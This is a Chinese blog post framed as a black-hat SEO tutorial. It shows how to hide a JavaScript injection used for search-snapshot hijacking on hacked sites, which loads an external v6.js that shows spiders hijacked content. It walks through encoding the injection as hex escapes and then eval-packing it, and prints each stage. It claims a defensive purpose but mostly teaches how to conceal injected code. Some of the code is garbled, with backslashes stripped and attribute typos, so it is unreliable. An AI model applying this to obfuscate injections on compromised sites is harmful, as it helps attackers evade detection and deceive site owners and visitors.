有一些黑帽SEO要对跳转的js代码进行加密,学习Javascript加密方式,当我们网站被黑时,看到这段代码就明白这就是快照劫持的代码,删掉即可解决网站被黑问题。今天,错误博客(cuowu.com)分享的内容为《黑帽SEO教程为html中的js跳转url加密》。希望对大家有所帮助。
一、未加密的js代码
Javascript跳转是黑帽SEO中快照劫持常见操作手法,比如在寄生虫程序使用中,在被黑掉的html或php中增加如下代码就可以完成快照劫持:
这段Javascript代码的作用是引入v6.js文件,v6.js文件中的内容为if判断语句,如果访问的是百度蜘蛛、360蜘蛛、搜狗蜘蛛等,则显示劫持的快照内容,如果是用户直接访问浏览器则会显示原页面内容。
二、16进制加密
首先把上面的命令增加为如下:
- window[“document”][“write”](‘scritp type=”text/javascript” scr=”https://cuowu.com/ v6.js”‘);
然后,对前面双引号内的内容进行16进制加密,后面单引号内容也同样进行16进制加密,依次为:
- x64x6fx63x75x6dx65x6ex74
- x77x72x69x74x65
- x73x63x72x69x74x70x20x74x79x70x65x3dx22x74x65x78x74x2fx6ax61x76x61x73x63x72x69x70x74x22x20x73x63x72x3dx22x68x74x74x70x73x3ax2fx2fx63x75x6fx77x75x2ex63x6fx6dx2fx76x36x2ex6ax73
这个可以用utf-8转16进制加密在线工具即可。错误博客站长导航里面有。
站长导航(https://cuowu.com/daohang/)
加密完成后变为:
- window[“x64x6fx63x75x6dx65x6ex74”][“x77x72x69x74x65”](‘x73x63x72x69x74x70x20x74x79x70x65x3dx22x74x65x78x74x2fx6ax61x76x61x73x63x72x69x70x74x22x20x73x63x72x3dx22x68x74x74x70x73x3ax2fx2fx63x75x6fx77x75x2ex63x6fx6dx2fx76x36x2ex6ax73’);
三、JS混淆加密压缩
然后,把上述的js代码再次补充一下才能正常运行,即:
window[“x64x6fx63x75x6dx65x6ex74”][“x77x72x69x74x65”](‘x73x63x72x69x74x70x20x74x79x70x65x3dx22x74x65x78x74x2fx6ax61x76x61x73x63x72x69x70x74x22x20x73x63x72x3dx22x68x74x74x70x73x3ax2fx2fx63x75x6fx77x75x2ex63x6fx6dx2fx76x36x2ex6ax73’);
把中间window到;的内容利用站长工具的JS混淆加密压缩就可以得到eval加密形式,错误博客站长导航里面有。
站长导航(https://cuowu.com/daohang/)
获得如下加密代码如下:
;’,28,28,’x74|x63|x73|x2f|x72|x65|x70|x69|x22|x75|x6f|x77|x3d|x61|x20|x2e|x6d|x76|x6a|x79|window|x6e|x64|x3a|x36|script|x78|x68′.split(‘|’),0,{}))
- eval(function(p,a,c,k,e,d){e=function(c){return(c
- 35?String.fromCharCode(c+29):c.toString(36))};if(!”.replace(/^/,String)){while(c–)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return’\w+’};c=1;};while(c–)if(k[c])p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c]);return p;}(‘k[“\m\a\1\9\g\5\l\0”][“\b\4\7\0\5”](’\2\1\4\7\0\6\e\0\j\6\5\c\8\0\5\q\0\3\i\d\h\d\2\1\4\7\6\0\8\e\2\1\4\c\8\r\0\0\6\2\n\3\3\1\9\a\b\9\f\1\a\g\3\h\o\f\i\2’)
最终获得的加密代码如下:
eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!”.replace(/^/,String)){while(c–)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return’\w+’};c=1;};while(c–)if(k[c])p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c]);return p;}(‘k[“\m\a\1\9\g\5\l\0”][“\b\4\7\0\5”](’\2\1\4\7\0\6\e\0\j\6\5\c\8\0\5\q\0\3\i\d\h\d\2\1\4\7\6\0\8\e\2\1\4\c\8\r\0\0\6\2\n\3\3\1\9\a\b\9\f\1\a\g\3\h\o\f\i\2’)
;’,28,28,’x74|x63|x73|x2f|x72|x65|x70|x69|x22|x75|x6f|x77|x3d|x61|x20|x2e|x6d|x76|x6a|x79|window|x6e|x64|x3a|x36|script|x78|x68′.split(‘|’),0,{}))
这就是全部的js加密压缩过程了,解压过程反过来推就可以了。